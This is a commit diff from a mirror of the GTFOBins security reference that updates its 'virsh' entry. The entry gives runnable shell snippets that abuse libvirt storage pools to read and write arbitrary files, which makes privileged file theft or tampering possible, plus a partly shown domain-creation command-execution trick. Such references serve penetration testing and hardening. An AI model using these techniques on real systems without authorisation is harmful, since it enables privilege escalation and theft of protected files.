mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Fix virsh
This commit is contained in:
parent
4de8e04e4b
commit
e1b99dd03e
@ -1,6 +1,6 @@
|
||||
---
|
||||
description: |
|
||||
This requires the user to be privileged enough to connect to the libvirt daemon, i.e. being in the `libvirt` group.
|
||||
This requires the user to be privileged enough to connect to the libvirt daemon, i.e. being in the `libvirt` group or be able to run `virsh` as sudo.
|
||||
|
||||
functions:
|
||||
command:
|
||||
@ -22,23 +22,23 @@ functions:
|
||||
</devices>
|
||||
</domain>
|
||||
EOF
|
||||
virsh create $TF
|
||||
virsh destroy foo
|
||||
virsh -c qemu:///system create $TF
|
||||
virsh -c qemu:///system destroy foo
|
||||
file-write:
|
||||
- description: Write a file by creating a storage pool on the target directory and uploading the file as a volume. If the target directory doesn't exist `pool-create-as` must be run with the `--build` option. Directories are created with permissions 711, and files with permissions 600. These can be modified using `pool-create|vol-create` with an XML definition file instead of using `pool-create-as|vol-create-as`. Sample XML files can be obtained with `pool-dumpxml|vol-dumpxml`.
|
||||
code: |
|
||||
LPATH=file_to_read
|
||||
RPATH=file_to_save
|
||||
virsh pool-create-as $(dirname $RPATH|tr / _) dir --target $(dirname $RPATH)
|
||||
virsh vol-create-as $(dirname $RPATH|tr / _) $(basename $RPATH) 0
|
||||
virsh vol-upload $RPATH $LPATH
|
||||
virsh pool-destroy $(dirname $RPATH|tr / _)
|
||||
virsh -c qemu:///system pool-create-as $(dirname $RPATH|tr / _) dir --target $(dirname $RPATH)
|
||||
virsh -c qemu:///system vol-create-as $(dirname $RPATH|tr / _) $(basename $RPATH) 0
|
||||
virsh -c qemu:///system vol-upload $RPATH $LPATH
|
||||
virsh -c qemu:///system pool-destroy $(dirname $RPATH|tr / _)
|
||||
file-read:
|
||||
- description: Read a file by creating a storage pool on the target directory and downloading the file as a volume.
|
||||
code: |
|
||||
RPATH=file_to_get
|
||||
LPATH=file_to_save
|
||||
virsh pool-create-as $(dirname $RPATH|tr / _) dir --target $(dirname $RPATH)
|
||||
virsh vol-download $RPATH $LPATH
|
||||
virsh pool-destroy $(dirname $RPATH|tr / _)
|
||||
virsh -c qemu:///system pool-create-as $(dirname $RPATH|tr / _) dir --target $(dirname $RPATH)
|
||||
virsh -c qemu:///system vol-download $RPATH $LPATH
|
||||
virsh -c qemu:///system pool-destroy $(dirname $RPATH|tr / _)
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user